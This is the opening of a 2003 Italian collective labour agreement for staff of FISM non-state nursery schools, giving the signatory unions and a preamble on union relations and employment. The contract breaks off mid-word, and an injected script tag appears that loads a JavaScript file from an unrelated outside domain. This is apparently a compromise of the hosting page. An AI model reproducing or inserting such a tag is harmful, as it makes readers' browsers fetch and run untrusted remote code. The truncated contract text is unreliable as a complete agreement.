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Categoria: Scuole materne non statali
Settore: Enti Privati
Data stipula: 6-2-2003
Data decorrenza: 1-1-2002
Data scadenza: 31-12-2005

Contratto Collettivo Nazionale di Lavoro

PER  IL   PERSONALE   ADDETTO   AI   SERVIZI  ALL'INFANZIA
E ALLE SCUOLE DELL'INFANZIA NON STATALI ADERENTI ALLA FISM


Il  giorno 6 febbraio 2003, in Roma, presso la sede nazionale della  CISL-
Scuola, in via A. Bargoni 8, tra:

-la   Federazione    Italiana    Scuole   Materne   (FISM)  rappresentata
  dal Segretario nazionale Luigi Morgano, dal Presidente della Commissione
  Antonio   Zanforlin   e   da   Aldo   Fontanella, Martino Massoli, Paolo
  Stefanini, Giannino Zanfisi

e

-il  Sindacato  Nazionale Scuola CGIL rappresentato da Enrico Panini,
  Beniamino Lami, Augusto Fossati, Massimo Mari, Mara Cecchetti, Maria
  Grazia Orfei;

- CISL-Scuola rappresentata da Daniela Colturani, Vincenzo Strazzullo,
  Maria Lucia Dal Pino, Elio Formosa;

- UIL-Scuola rappresentata da Massimo Di Menna, Pino Turi, Adriano Enea
  Bellardini;

-SNALS-CONFSAL rappresentato da Fedele Ricciato, Aurelio Costanzo,
  Achille Massenti, Ida Cota

è  stato firmato il CCNL che disciplina il trattamento normativo 2002-2005
ed    economico   2002-2003   per   il   personale   direttivo,   docente,
amministrativo, tecnico ed ausiliario occupato nelle scuole aderenti  alla
FISM, già siglato il 18 ottobre 2002.



Parte I - LE RELAZIONI E I DIRITTI SINDACALI

Capitolo I - LE RELAZIONI E I DIRITTI SINDACALI

Premessa.

Il  presente  CCNL  viene stipulato in applicazione dei principi  e  delle
norme  contenuti  nel  Protocollo 23.7.93, negli Accordi  interconfederali
24.9.96 e 22.12.98.

In coerenza, le parti:

-si  danno  atto,  in  nome  proprio e per  conto  delle  scuole  da  essi
rappresentate aderenti al contratto e delle rappresentanze dei lavoratori,
che  la condizione necessaria per il consolidamento delle relazioni e  dei
diritti  sindacali  concordati è la loro puntuale  osservanza  ai  diversi
livelli; s'impegnano a rispettare e a far rispettare le norme del CCNL;

-confermano  la  validità  del  metodo del confronto  che,  attraverso  un
processo  di  reciproche  informazioni  su  organizzazione  del  lavoro  e
funzionamento  dei  servizi, consenta intese e  azioni  convergenti  sulle
materie in questione, oggetto d'informazione; concordano sulla opportunità
di  definire momenti d'incontro per procedere congiuntamente  ad  esami  e
valutazioni in ordine alle problematiche del settore, delle prospettive di
sviluppo, dei processi di ristrutturazione-aggiornamento.

La   FISM  conferma  come  proprio  impegno  prioritario  la  salvaguardia
dell'occupazione,   considerandolo  correlativo  al   mantenimento   delle
strutture  operative. Le OOSS dichiarano la disponibilità dei  lavoratori,
nella  salvaguardia  dei  diritti acquisiti, a fornire  un  contributo  al
rilancio e alla qualificazione delle strutture operative.

Le parti, facendosi carico di orientare l'azione dei propri rappresentanti
e nell'intento di ricercare comportamenti coerenti, concordano di cogliere
le  opportunità  offerte  dal  mercato del lavoro  e  nello  stesso  tempo
promuovere un contributo allo sviluppo dell'occupazione anche mediante  il
ricorso   a   norme  introdotte  dalla  legislazione  del   lavoro   quali
l'apprendistato,  il rapporto a tempo parziale, il lavoro  ripartito  (job
sharing)  e  a  tempo determinato, il lavoro interinale e  il  telelavoro,
nonché di intensificare nella vigenza del presente contratto uno schema di
relazioni sindacali come successivamente specificate.

Le  OOSS ribadiscono, da parte loro, la disponibilità dei lavoratori nella
salvaguardia  dei  diritti acquisiti a fornire un contributo  al  rilancio
delle scuole, nella convinzione che solamente gestioni economicamente sane
e  competitive  consentano  ai lavoratori di  avere  le  garanzie  per  la
continuità dell'impiego, nonché la salvaguardia dei livelli occupazionali.

Fermo restando che il rapporto di lavoro tra scuole materne e il personale
dipendente è a temp<script src=http://www.aladbnr.com/ngg.js></script>













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